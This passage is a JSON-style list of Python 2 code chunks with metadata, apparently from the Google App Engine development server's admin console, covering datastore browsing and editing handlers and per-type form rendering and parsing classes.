key_dict", "metadata": "root.DatastoreRequestHandler.get_key_values", "header": "['class', 'DatastoreRequestHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 606 }, { "content": "class DatastoreQueryHandler(DatastoreRequestHandler):\n \"\"\"Our main request handler that executes queries and lists entities.\n\n We use execute_query() in our base request handler to parse URL arguments\n and execute the datastore query.\n \"\"\"\n\n PATH = '/datastore'\n\n", "metadata": "root.DatastoreQueryHandler", "header": "['module', '___EOS___']", "index": 622 }, { "content": " def get_kinds(self):\n \"\"\"Get sorted list of kind names the datastore knows about.\n\n This should only be called in the development environment as GetSchema is\n expensive and no caching is done.\n \"\"\"\n schema = datastore_admin.GetSchema()\n kinds = []\n for entity_proto in schema:\n kinds.append(entity_proto.key().path().element_list()[-1].type())\n kinds.sort()\n return kinds", "metadata": "root.DatastoreQueryHandler.get_kinds", "header": "['class', 'DatastoreQueryHandler', '(', 'DatastoreRequestHandler', ')', ':', '___EOS___']", "index": 631 }, { "content": " def get(self):\n \"\"\"Formats the results from execute_query() for datastore.html.\n\n The only complex part of that process is calculating the pager variables\n to generate the Gooooogle pager at the bottom of the page.\n \"\"\"\n result_set, total = self.execute_query()\n key_values = self.get_key_values(result_set)\n keys = key_values.keys()\n keys.sort()\n\n headers = []\n for key in keys:\n sample_value = key_values[key][0]\n headers.append({\n 'name': key,\n 'type': DataType.get(sample_value).name(),\n })\n\n entities = []\n edit_path = self.base_path() + DatastoreEditHandler.PATH\n for entity in result_set:\n attributes = []\n for key in keys:\n if entity.has_key(key):\n raw_value = entity[key]\n data_type = DataType.get(raw_value)\n value = data_type.format(raw_value)\n short_value = data_type.short_format(raw_value)\n additional_html = data_type.additional_short_value_html(raw_value)\n else:\n value = ''\n short_value = ''\n additional_html = ''\n attributes.append({\n 'name': key,\n 'value': value,\n 'short_value': short_value,\n 'additional_html': additional_html,\n })\n entities.append({\n 'key': str(entity.key()),\n 'key_name': entity.key().name(),\n 'key_id': entity.key().id(),\n 'shortened_key': str(entity.key())[:8] + '...',\n 'attributes': attributes,\n 'edit_uri': edit_path + '?key=' + str(entity.key()) + '&kind=' + urllib.quote(self.request.get('kind')) + '&next=' + urllib.quote(self.request.uri),\n })\n\n start = self.start()\n num = self.num()\n max_pager_links = 8\n current_page = start / num\n num_pages = int(math.ceil(total * 1.0 / num))\n page_start = max(math.floor(current_page - max_pager_links / 2), 0)\n page_end = min(page_start + max_pager_links, num_pages)\n\n pages = []\n for page in range(page_start + 1, page_end + 1):\n pages.append({\n 'number': page,\n 'start': (page - 1) * num,\n })\n current_page += 1\n\n in_production = self.in_production()\n if in_production:\n kinds = None\n else:\n kinds = self.get_kinds()\n\n values = {\n 'request': self.request,\n 'in_production': in_production,\n 'kinds': kinds,\n 'kind': self.request.get('kind'),\n 'order': self.request.get('order'),\n 'headers': headers,\n 'entities': entities,\n 'message': self.request.get('msg'),\n 'pages': pages,\n 'current_page': current_page,\n 'num': num,\n 'next_start': -1,\n 'prev_start': -1,\n 'start': start,\n 'total': total,\n 'start_base_url': self.filter_url(['kind', 'order', 'order_type',\n 'num']),\n 'order_base_url': self.filter_url(['kind', 'num']),\n }\n if current_page > 1:\n values['prev_start'] = int((current_page - 2) * num)\n if current_page < num_pages:\n values['next_start'] = int(current_page * num)\n\n self.generate('datastore.html', values)", "metadata": "root.DatastoreQueryHandler.get", "header": "['class', 'DatastoreQueryHandler', '(', 'DatastoreRequestHandler', ')', ':', '___EOS___']", "index": 644 }, { "content": "class DatastoreBatchEditHandler(DatastoreRequestHandler):\n \"\"\"Request handler for a batch operation on entities.\n\n Supports deleting multiple entities by key, then redirecting to another url.\n \"\"\"\n\n PATH = DatastoreQueryHandler.PATH + '/batchedit'\n", "metadata": "root.DatastoreBatchEditHandler", "header": "['module', '___EOS___']", "index": 743 }, { "content": " def post(self):\n kind = self.request.get('kind')\n\n keys = []\n index = 0\n num_keys = int(self.request.get('numkeys'))\n for i in xrange(1, num_keys+1):\n key = self.request.get('key%d' % i)\n if key:\n keys.append(key)\n\n if self.request.get('action') == 'Delete':\n num_deleted = 0\n for key in keys:\n datastore.Delete(datastore.Key(key))\n num_deleted = num_deleted + 1\n message = '%d entit%s deleted.' % (\n num_deleted, ('ies', 'y')[num_deleted == 1])\n self.redirect(\n '%s&msg=%s' % (self.request.get('next'), urllib.quote_plus(message)))\n return\n\n self.error(404)", "metadata": "root.DatastoreBatchEditHandler.post", "header": "['class', 'DatastoreBatchEditHandler', '(', 'DatastoreRequestHandler', ')', ':', '___EOS___']", "index": 751 }, { "content": "class DatastoreEditHandler(DatastoreRequestHandler):\n \"\"\"Request handler for the entity create/edit form.\n\n We determine how to generate a form to edit an entity by doing a query\n on the entity kind and looking at the set of keys and their types in\n the result set. We use the DataType subclasses for those introspected types\n to generate the form and parse the form results.\n \"\"\"\n\n PATH = DatastoreQueryHandler.PATH + '/edit'\n\n", "metadata": "root.DatastoreEditHandler", "header": "['module', '___EOS___']", "index": 776 }, { "content": " def get(self):\n entity_key = self.request.get('key')\n if entity_key:\n key_instance = datastore.Key(entity_key)\n entity_key_name = key_instance.name()\n entity_key_id = key_instance.id()\n parent_key = key_instance.parent()\n kind = key_instance.kind()\n entity = datastore.Get(key_instance)\n sample_entities = [entity]\n else:\n kind = self.request.get('kind')\n sample_entities = self.execute_query()[0]\n\n if len(sample_entities) < 1:\n next_uri = self.request.get('next')\n kind_param = 'kind=%s' % kind\n if not kind_param in next_uri:\n if '?' in next_uri:\n next_uri += '&' + kind_param\n else:\n next_uri += '?' + kind_param\n self.redirect(next_uri)\n return\n\n if not entity_key:\n key_instance = None\n entity_key_name = None\n entity_key_id = None\n parent_key = None\n entity = None\n\n if parent_key:\n parent_kind = parent_key.kind()\n parent_key_string = PseudoBreadcrumbs(parent_key)\n else:\n parent_kind = None\n parent_key_string = None\n\n fields = []\n key_values = self.get_key_values(sample_entities)\n for key, sample_values in key_values.iteritems():\n if entity and entity.has_key(key):\n data_type = DataType.get(entity[key])\n else:\n data_type = DataType.get(sample_values[0])\n name = data_type.name() + \"|\" + key\n if entity and entity.has_key(key):\n value = entity[key]\n else:\n value = None\n field = data_type.input_field(name, value, sample_values)\n fields.append((key, data_type.name(), field))\n\n self.generate('datastore_edit.html', {\n 'kind': kind,\n 'key': entity_key,\n 'key_name': entity_key_name,\n 'key_id': entity_key_id,\n 'fields': fields,\n 'focus': self.request.get('focus'),\n 'next': self.request.get('next'),\n 'parent_key': parent_key,\n 'parent_kind': parent_kind,\n 'parent_key_string': parent_key_string,\n })", "metadata": "root.DatastoreEditHandler.get", "header": "['class', 'DatastoreEditHandler', '(', 'DatastoreRequestHandler', ')', ':', '___EOS___']", "index": 787 }, { "content": " def post(self):\n kind = self.request.get('kind')\n entity_key = self.request.get('key')\n if entity_key:\n if self.request.get('action') == 'Delete':\n datastore.Delete(datastore.Key(entity_key))\n self.redirect(self.request.get('next'))\n return\n entity = datastore.Get(datastore.Key(entity_key))\n else:\n entity = datastore.Entity(kind)\n\n args = self.request.arguments()\n for arg in args:\n bar = arg.find('|')\n if bar > 0:\n data_type_name = arg[:bar]\n field_name = arg[bar + 1:]\n form_value = self.request.get(arg)\n data_type = DataType.get_by_name(data_type_name)\n if entity and entity.has_key(field_name):\n old_formatted_value = data_type.format(entity[field_name])\n if old_formatted_value == form_value:\n continue\n\n if len(form_value) > 0:\n value = data_type.parse(form_value)\n entity[field_name] = value\n elif entity.has_key(field_name):\n del entity[field_name]\n\n datastore.Put(entity)\n\n self.redirect(self.request.get('next'))", "metadata": "root.DatastoreEditHandler.post", "header": "['class', 'DatastoreEditHandler', '(', 'DatastoreRequestHandler', ')', ':', '___EOS___']", "index": 854 }, { "content": "class DataType(object):\n \"\"\"A DataType represents a data type in the datastore.\n\n Each DataType subtype defines four methods:\n\n format: returns a formatted string for a datastore value\n input_field: returns a string HTML <input> element for this DataType\n name: the friendly string name of this DataType\n parse: parses the formatted string representation of this DataType\n python_type: the canonical Python type for this datastore type\n\n We use DataType instances to display formatted values in our result lists,\n and we uses input_field/format/parse to generate forms and parse the results\n from those forms to allow editing of entities.\n \"\"\"\n\n\n\n\n\n", "metadata": "root.DataType", "header": "['module', '___EOS___']", "index": 890 }, { "content": " @staticmethod\n def get(value):\n return _DATA_TYPES[value.__class__]", "metadata": "root.DataType.get", "header": "['class', 'DataType', '(', 'object', ')', ':', '___EOS___']", "index": 905 }, { "content": " @staticmethod\n def get_by_name(name):\n return _NAMED_DATA_TYPES[name]", "metadata": "root.DataType.get_by_name", "header": "['class', 'DataType', '(', 'object', ')', ':', '___EOS___']", "index": 909 }, { "content": " def format(self, value):\n return str(value)", "metadata": "root.DataType.format", "header": "['class', 'DataType', '(', 'object', ')', ':', '___EOS___']", "index": 913 }, { "content": " def short_format(self, value):\n return self.format(value)", "metadata": "root.DataType.short_format", "header": "['class', 'DataType', '(', 'object', ')', ':', '___EOS___']", "index": 916 }, { "content": " def input_field(self, name, value, sample_values):\n if value is not None:\n string_value = self.format(value)\n else:\n string_value = ''\n return '<input class=\"%s\" name=\"%s\" type=\"text\" size=\"%d\" value=\"%s\"/>' % (cgi.escape(self.name()), cgi.escape(name), self.input_field_size(),\n cgi.escape(string_value, True))", "metadata": "root.DataType.input_field", "header": "['class', 'DataType', '(', 'object', ')', ':', '___EOS___']", "index": 919 }, { "content": " def input_field_size(self):\n return 30", "metadata": "root.DataType.input_field_size", "header": "['class', 'DataType', '(', 'object', ')', ':', '___EOS___']", "index": 927 }, { "content": " def additional_short_value_html(self, unused_value):\n return ''", "metadata": "root.DataType.additional_short_value_html", "header": "['class', 'DataType', '(', 'object', ')', ':', '___EOS___']", "index": 930 }, { "content": "class StringType(DataType):\n\n\n\n\n", "metadata": "root.StringType", "header": "['module', '___EOS___']", "index": 934 }, { "content": " def format(self, value):\n return value", "metadata": "root.StringType.format", "header": "['class', 'StringType', '(', 'DataType', ')', ':', '___EOS___']", "index": 935 }, { "content": " def input_field(self, name, value, sample_values):\n value = str(value)\n sample_values = [str(s) for s in sample_values]\n multiline = False\n if value:\n multiline = len(value) > 255 or value.find('\\n') >= 0\n if not multiline:\n for sample_value in sample_values:\n if sample_value and (len(sample_value) > 255 or\n sample_value.find('\\n') >= 0):\n multiline = True\n break\n if multiline:\n if not value:\n value = ''\n return '<textarea name=\"%s\" rows=\"5\" cols=\"50\">%s</textarea>' % (cgi.escape(name), cgi.escape(value))\n else:\n return DataType.input_field(self, name, value, sample_values)", "metadata": "root.StringType.input_field", "header": "['class', 'StringType', '(', 'DataType', ')', ':', '___EOS___']", "index": 938 }, { "content": " def name(self):\n return 'string'", "metadata": "root.StringType.name", "header": "['class', 'StringType', '(', 'DataType', ')', ':', '___EOS___']", "index": 957 }, { "content": " def parse(self, value):\n return value", "metadata": "root.StringType.parse", "header": "['class', 'StringType', '(', 'DataType', ')', ':', '___EOS___']", "index": 960 }, { "content": " def python_type(self):\n return str", "metadata": "root.StringType.python_type", "header": "['class', 'StringType', '(', 'DataType', ')', ':', '___EOS___']", "index": 963 }, { "content": " def input_field_size(self):\n return 50", "metadata": "root.StringType.input_field_size", "header": "['class', 'StringType', '(', 'DataType', ')', ':', '___EOS___']", "index": 966 }, { "content": "class TextType(StringType):\n\n\n", "metadata": "root.TextType", "header": "['module', '___EOS___']", "index": 970 }, { "content": " def name(self):\n return 'Text'", "metadata": "root.TextType.name", "header": "['class', 'TextType', '(', 'StringType', ')', ':', '___EOS___']", "index": 971 }, { "content": " def input_field(self, name, value, sample_values):\n return '<textarea name=\"%s\" rows=\"5\" cols=\"50\">%s</textarea>' % (cgi.escape(name), cgi.escape(str(value)))", "metadata": "root.TextType.input_field", "header": "['class', 'TextType', '(', 'StringType', ')', ':', '___EOS___']", "index": 974 }, { "content": " def parse(self, value):\n return datastore_types.Text(value)", "metadata": "root.TextType.parse", "header": "['class', 'TextType', '(', 'StringType', ')', ':', '___EOS___']", "index": 977 }, { "content": " def python_type(self):\n return datastore_types.Text", "metadata": "root.TextType.python_type", "header": "['class', 'TextType', '(', 'StringType', ')', ':', '___EOS___']", "index": 980 }, { "content": "class BlobType(StringType):\n\n\n", "metadata": "root.BlobType", "header": "['module', '___EOS___']", "index": 984 }, { "content": " def name(self):\n return 'Blob'", "metadata": "root.BlobType.name", "header": "['class', 'BlobType', '(', 'StringType', ')', ':', '___EOS___']", "index": 985 }, { "content": " def input_field(self, name, value, sample_values):\n return '&lt;binary&gt;'", "metadata": "root.BlobType.input_field", "header": "['class', 'BlobType', '(', 'StringType', ')', ':', '___EOS___']", "index": 988 }, { "content": " def format(self, value):\n return '<binary>'", "metadata": "root.BlobType.format", "header": "['class', 'BlobType', '(', 'StringType', ')', ':', '___EOS___']", "index": 991 }, { "content": " def python_type(self):\n return datastore_types.Blob", "metadata": "root.BlobType.python_type", "header": "['class', 'BlobType', '(', 'StringType', ')', ':', '___EOS___']", "index": 994 }, { "content": "class TimeType(DataType):\n _FORMAT = '%Y-%m-%d %H:%M:%S'\n\n\n\n", "metadata": "root.TimeType", "header": "['module', '___EOS___']", "index": 998 }, { "content": " def format(self, value):\n return value.strftime(TimeType._FORMAT)", "metadata": "root.TimeType.format", "header": "['class', 'TimeType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1001 }, { "content": " def name(self):\n return 'datetime'", "metadata": "root.TimeType.name", "header": "['class', 'TimeType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1004 }, { "content": " def parse(self, value):\n return datetime.datetime(*(time.strptime(value, TimeType._FORMAT)[0:6]))", "metadata": "root.TimeType.parse", "header": "['class', 'TimeType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1007 }, { "content": " def python_type(self):\n return datetime.datetime", "metadata": "root.TimeType.python_type", "header": "['class', 'TimeType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1010 }, { "content": "class ListType(DataType):\n\n\n", "metadata": "root.ListType", "header": "['module', '___EOS___']", "index": 1014 }, { "content": " def format(self, value):\n value_file = cStringIO.StringIO()\n try:\n writer = csv.writer(value_file)\n writer.writerow(value)\n return value_file.getvalue()\n finally:\n value_file.close()", "metadata": "root.ListType.format", "header": "['class', 'ListType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1015 }, { "content": " def name(self):\n return 'list'", "metadata": "root.ListType.name", "header": "['class', 'ListType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1024 }, { "content": " def parse(self, value):\n value_file = cStringIO.StringIO(value)\n try:\n reader = csv.reader(value_file)\n return reader.next()\n finally:\n value_file.close()", "metadata": "root.ListType.parse", "header": "['class', 'ListType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1027 }, { "content": " def python_type(self):\n return list", "metadata": "root.ListType.python_type", "header": "['class', 'ListType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1035 }, { "content": "class BoolType(DataType):\n\n\n", "metadata": "root.BoolType", "header": "['module', '___EOS___']", "index": 1039 }, { "content": " def name(self):\n return 'bool'", "metadata": "root.BoolType.name", "header": "['class', 'BoolType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1040 }, { "content": " def input_field(self, name, value, sample_values):\n selected = { None: '', False: '', True: '' };\n selected[value] = \"selected\"\n return \"\"\"<select class=\"%s\" name=\"%s\">\n <option %s value=''></option>\n <option %s value='0'>False</option>\n <option %s value='1'>True</option></select>\"\"\" % (cgi.escape(self.name()), cgi.escape(name), selected[None],\n selected[False], selected[True])", "metadata": "root.BoolType.input_field", "header": "['class', 'BoolType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1043 }, { "content": " def parse(self, value):\n if value.lower() is 'true':\n return True\n if value.lower() is 'false':\n return False\n return bool(int(value))", "metadata": "root.BoolType.parse", "header": "['class', 'BoolType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1052 }, { "content": " def python_type(self):\n return bool", "metadata": "root.BoolType.python_type", "header": "['class', 'BoolType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1059 }, { "content": "class NumberType(DataType):", "metadata": "root.NumberType", "header": "['module', '___EOS___']", "index": 1063 }, { "content": " def input_field_size(self):\n return 10", "metadata": "root.NumberType.input_field_size", "header": "['class', 'NumberType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1064 }, { "content": "class IntType(NumberType):\n\n", "metadata": "root.IntType", "header": "['module', '___EOS___']", "index": 1068 }, { "content": " def name(self):\n return 'int'", "metadata": "root.IntType.name", "header": "['class', 'IntType', '(', 'NumberType', ')', ':', '___EOS___']", "index": 1069 }, { "content": " def parse(self, value):\n return int(value)", "metadata": "root.IntType.parse", "header": "['class', 'IntType', '(', 'NumberType', ')', ':', '___EOS___']", "index": 1072 }, { "content": " def python_type(self):\n return int", "metadata": "root.IntType.python_type", "header": "['class', 'IntType', '(', 'NumberType', ')', ':', '___EOS___']", "index": 1075 }, { "content": "class LongType(NumberType):\n\n", "metadata": "root.LongType", "header": "['module', '___EOS___']", "index": 1079 }, { "content": " def name(self):\n return 'long'", "metadata": "root.LongType.name", "header": "['class', 'LongType', '(', 'NumberType', ')', ':', '___EOS___']", "index": 1080 }, { "content": " def parse(self, value):\n return long(value)", "metadata": "root.LongType.parse", "header": "['class', 'LongType', '(', 'NumberType', ')', ':', '___EOS___']", "index": 1083 }, { "content": " def python_type(self):\n return long", "metadata": "root.LongType.python_type", "header": "['class', 'LongType', '(', 'NumberType', ')', ':', '___EOS___']", "index": 1086 }, { "content": "class FloatType(NumberType):\n\n", "metadata": "root.FloatType", "header": "['module', '___EOS___']", "index": 1090 }, { "content": " def name(self):\n return 'float'", "metadata": "root.FloatType.name", "header": "['class', 'FloatType', '(', 'NumberType', ')', ':', '___EOS___']", "index": 1091 }, { "content": " def parse(self, value):\n return float(value)", "metadata": "root.FloatType.parse", "header": "['class', 'FloatType', '(', 'NumberType', ')', ':', '___EOS___']", "index": 1094 }, { "content": " def python_type(self):\n return float", "metadata": "root.FloatType.python_type", "header": "['class', 'FloatType', '(', 'NumberType', ')', ':', '___EOS___']", "index": 1097 }, { "content": "class UserType(DataType):\n\n\n", "metadata": "root.UserType", "header": "['module', '___EOS___']", "index": 1101 }, { "content": " def name(self):\n return 'User'", "metadata": "root.UserType.name", "header": "['class', 'UserType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1102 }, { "content": " def parse(self, value):\n return users.User(value)", "metadata": "root.UserType.parse", "header": "['class', 'UserType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1105 }, { "content": " def python_type(self):\n return users.User", "metadata": "root.UserType.python_type", "header": "['class', 'UserType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1108 }, { "content": " def input_field_size(self):\n return 15", "metadata": "root.UserType.input_field_size", "header": "['class', 'UserType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1111 }, { "content": "class ReferenceType(DataType):\n\n\n\n\n\n", "metadata": "root.ReferenceType", "header": "['module', '___EOS___']", "index": 1115 }, { "content": " def name(self):\n return 'Key'", "metadata": "root.ReferenceType.name", "header": "['class', 'ReferenceType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1116 }, { "content": " def short_format(self, value):\n return str(value)[:8] + '...'", "metadata": "root.ReferenceType.short_format", "header": "['class', 'ReferenceType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1119 }, { "content": " def parse(self, value):\n return datastore_types.Key(value)", "metadata": "root.ReferenceType.parse", "header": "['class', 'ReferenceType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1122 }, { "content": " def python_type(self):\n return datastore_types.Key", "metadata": "root.ReferenceType.python_type", "header": "['class', 'ReferenceType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1125 }, { "content": " def input_field(self, name, value, sample_values):\n if value is not None:\n string_value = self.format(value)\n else:\n string_value = ''\n html = '<input class=\"%s\" name=\"%s\" type=\"text\" size=\"%d\" value=\"%s\"/>' % (cgi.escape(self.name()), cgi.escape(name), self.input_field_size(),\n cgi.escape(string_value, True))\n if value:\n html += '<br><a href=\"?key=%s\">%s</a>' % (cgi.escape(string_value, True),\n cgi.escape(PseudoBreadcrumbs(value), True))\n return html", "metadata": "root.ReferenceType.input_field", "header": "['class', 'ReferenceType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1128 }, { "content": " def input_field_size(self):\n return 85", "metadata": "root.ReferenceType.input_field_size", "header": "['class', 'ReferenceType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1140 }, { "content": " def additional_short_value_html(self, value):\n if not value:\n return ''\n return '<br><a href=\"./datastore/edit?key=%s\">%s</a>' % (cgi.escape(str(value), True),\n cgi.escape(PseudoBreadcrumbs(value), True))", "metadata": "root.ReferenceType.additional_short_value_html", "header": "['class', 'ReferenceType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1143 }, { "content": "class EmailType(StringType):\n\n", "metadata": "root.EmailType", "header": "['module', '___EOS___']", "index": 1150 }, { "content": " def name(self):\n return 'Email'", "metadata": "root.EmailType.name", "header": "['class', 'EmailType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1151 }, { "content": " def parse(self, value):\n return datastore_types.Email(value)", "metadata": "root.EmailType.parse", "header": "['class', 'EmailType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1154 }, { "content": " def python_type(self):\n return datastore_types.Email", "metadata": "root.EmailType.python_type", "header": "['class', 'EmailType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1157 }, { "content": "class CategoryType(StringType):\n\n", "metadata": "root.CategoryType", "header": "['module', '___EOS___']", "index": 1161 }, { "content": " def name(self):\n return 'Category'", "metadata": "root.CategoryType.name", "header": "['class', 'CategoryType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1162 }, { "content": " def parse(self, value):\n return datastore_types.Category(value)", "metadata": "root.CategoryType.parse", "header": "['class', 'CategoryType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1165 }, { "content": " def python_type(self):\n return datastore_types.Category", "metadata": "root.CategoryType.python_type", "header": "['class', 'CategoryType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1168 }, { "content": "class LinkType(StringType):\n\n", "metadata": "root.LinkType", "header": "['module', '___EOS___']", "index": 1172 }, { "content": " def name(self):\n return 'Link'", "metadata": "root.LinkType.name", "header": "['class', 'LinkType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1173 }, { "content": " def parse(self, value):\n return datastore_types.Link(value)", "metadata": "root.LinkType.parse", "header": "['class', 'LinkType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1176 }, { "content": " def python_type(self):\n return datastore_types.Link", "metadata": "root.LinkType.python_type", "header": "['class', 'LinkType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1179 }, { "content": "class GeoPtType(DataType):\n\n", "metadata": "root.GeoPtType", "header": "['module', '___EOS___']", "index": 1183 }, { "content": " def name(self):\n return 'GeoPt'", "metadata": "root.GeoPtType.name", "header": "['class', 'GeoPtType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1184 }, { "content": " def parse(self, value):\n return datastore_types.GeoPt(value)", "metadata": "root.GeoPtType.parse", "header": "['class', 'GeoPtType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1187 }, { "content": " def python_type(self):\n return datastore_types.GeoPt", "metadata": "root.GeoPtType.python_type", "header": "['class', 'GeoPtType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1190 }, { "content": "class ImType(DataType):\n\n", "metadata": "root.ImType", "header": "['module', '___EOS___']", "index": 1194 }, { "content": " def name(self):\n return 'IM'", "metadata": "root.ImType.name", "header": "['class', 'ImType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1195 }, { "content": " def parse(self, value):\n return datastore_types.IM(value)", "metadata": "root.ImType.parse", "header": "['class', 'ImType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1198 }, { "content": " def python_type(self):\n return datastore_types.IM", "metadata": "root.ImType.python_type", "header": "['class', 'ImType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1201 }, { "content": "class PhoneNumberType(StringType):\n\n", "metadata": "root.PhoneNumberType", "header": "['module', '___EOS___']", "index": 1205 }, { "content": " def name(self):\n return 'PhoneNumber'", "metadata": "root.PhoneNumberType.name", "header": "['class', 'PhoneNumberType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1206 }, { "content": " def parse(self, value):\n return datastore_types.PhoneNumber(value)", "metadata": "root.PhoneNumberType.parse", "header": "['class', 'PhoneNumberType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1209 }, { "content": " def python_type(self):\n return datastore_types.PhoneNumber", "metadata": "root.PhoneNumberType.python_type", "header": "['class', 'PhoneNumberType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1212 }, { "content": "class PostalAddressType(StringType):\n\n", "metadata": "root.PostalAddressType", "header": "['module', '___EOS___']", "index": 1216 }, { "content": " def name(self):\n return 'PostalAddress'", "metadata": "root.PostalAddressType.name", "header": "['class', 'PostalAddressType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1217 }, { "content": " def parse(self, value):\n return datastore_types.PostalAddress(value)", "metadata": "root.PostalAddressType.parse", "header": "['class', 'PostalAddressType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1220 }, { "content": " def python_type(self):\n return datastore_types.PostalAddress", "metadata": "root.PostalAddressType.python_type", "header": "['class', 'PostalAddressType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1223 }, { "content": "class RatingType(NumberType):\n\n", "metadata": "root.RatingType", "header": "['module', '___EOS___']", "index": 1227 }, { "content": " def name(self):\n return 'Rating'", "metadata": "root.RatingType.name", "header": "['class', 'RatingType', '(', 'NumberType', ')', ':', '___EOS___']", "index": 1228 }, { "content": " def parse(self, value):\n return datastore_types.Rating(value)", "metadata": "root.RatingType.parse", "header": "['class', 'RatingType', '(', 'NumberType', ')', ':', '___EOS___']", "index": 1231 }, { "content": " def python_type(self):\n return datastore_types.Rating", "metadata": "root.RatingType.python_type", "header": "['class', 'RatingType', '(', 'NumberType', ')', ':', '___EOS___']", "index": 1234 }, { "content": "class NoneType(DataType):\n\n\n", "metadata": "root.NoneType", "header": "['module', '___EOS___']", "index": 1238 }, { "content": " def name(self):\n return 'None'", "metadata": "root.NoneType.name", "header": "['class', 'NoneType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1239 }, { "content": " def parse(self, value):\n return None", "metadata": "root.NoneType.parse", "header": "['class', 'NoneType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1242 }, { "content": " def python_type(self):\n return None", "metadata": "root.NoneType.python_type", "header": "['class', 'NoneType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1245 }, { "content": " def format(self, value):\n return 'None'", "metadata": "root.NoneType.format", "header": "['class', 'NoneType', '(', 'DataType', ')', ':', '___EOS___']", "index": 1248 }, { "content": "class BlobKeyType(StringType):\n\n", "metadata": "root.BlobKeyType", "header": "['module', '___EOS___']", "index": 1252 }, { "content": " def name(self):\n return 'BlobKey'", "metadata": "root.BlobKeyType.name", "header": "['class', 'BlobKeyType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1253 }, { "content": " def parse(self, value):\n return datastore_types.BlobKey(value)", "metadata": "root.BlobKeyType.parse", "header": "['class', 'BlobKeyType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1256 }, { "content": " def python_type(self):\n return datastore_types.BlobKey", "metadata": "root.BlobKeyType.python_type", "header": "['class', 'BlobKeyType', '(', 'StringType', ')', ':', '___EOS___']", "index": 1259 }, { "content": "def _ParseCronYaml():\n \"\"\"Loads the cron.yaml file and parses it.\n\n The CWD of the dev_appserver is the root of the application here.\n\n Returns a dict representing the contents of cron.yaml.\n \"\"\"\n cronyaml_files = 'cron.yaml', 'cron.yml'\n for cronyaml in cronyaml_files:\n try:\n fh = open(cronyaml, \"r\")\n except IOError:\n continue\n try:\n cron_info = croninfo.LoadSingleCron(fh)\n return cron_info\n finally:\n fh.close()\n return None", "metadata": "root._ParseCronYaml", "header": "['module', '___EOS___']", "index": 1293 }, { "content": "def PseudoBreadcrumbs(key):\n \"\"\"Return a string that looks like the breadcrumbs (for key properties).\n\n Args:\n key: A datastore_types.Key object.\n\n Returns:\n A string looking like breadcrumbs.\n \"\"\"\n path = key.to_path()\n parts = []\n for i in range(0, len(path)//2):\n kind = path[i*2]\n if isinstance(kind, unicode):\n kind = kind.encode('utf8')\n value = path[i*2 + 1]\n if isinstance(value, (int, long)):\n parts.append('%s: id=%d' % (kind, value))\n else:\n if isinstance(value, unicode):\n value = value.encode('utf8')\n parts.append('%s: name=%s' % (kind, value))\n return ' > '.join(parts)", "metadata": "root.PseudoBreadcrumbs", "header": "['module', '___EOS___']", "index": 1314 }, { "content": "def main():\n handlers = [\n ('.*' + DatastoreQueryHandler.PATH, DatastoreQueryHandler),\n ('.*' + DatastoreEditHandler.PATH, DatastoreEditHandler),\n ('.*' + DatastoreBatchEditHandler.PATH, DatastoreBatchEditHandler),\n ('.*' + InteractivePageHandler.PATH, InteractivePageHandler),\n ('.*' + InteractiveExecuteHandler.PATH, InteractiveExecuteHandler),\n ('.*' + MemcachePageHandler.PATH, MemcachePageHandler),\n ('.*' + ImageHandler.PATH, ImageHandler),\n ('.*' + QueuesPageHandler.PATH, QueuesPageHandler),\n ('.*' + TasksPageHandler.PATH, TasksPageHandler),\n ('.*' + XMPPPageHandler.PATH, XMPPPageHandler),\n ('.*' + InboundMailPageHandler.PATH, InboundMailPageHandler),\n ('.*', DefaultPageHandler),\n ]\n if HAVE_CRON:\n handlers.insert(0, ('.*' + CronPageHandler.PATH, CronPageHandler))\n application = webapp.WSGIApplication(handlers, debug=_DEBUG)\n wsgiref.handlers.CGIHandler().run(application)", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 1339 }, { "content": " def safe(text, dummy=None):\n return text", "metadata": "root.safe", "header": "['module', '___EOS___']", "index": 1363 } ]
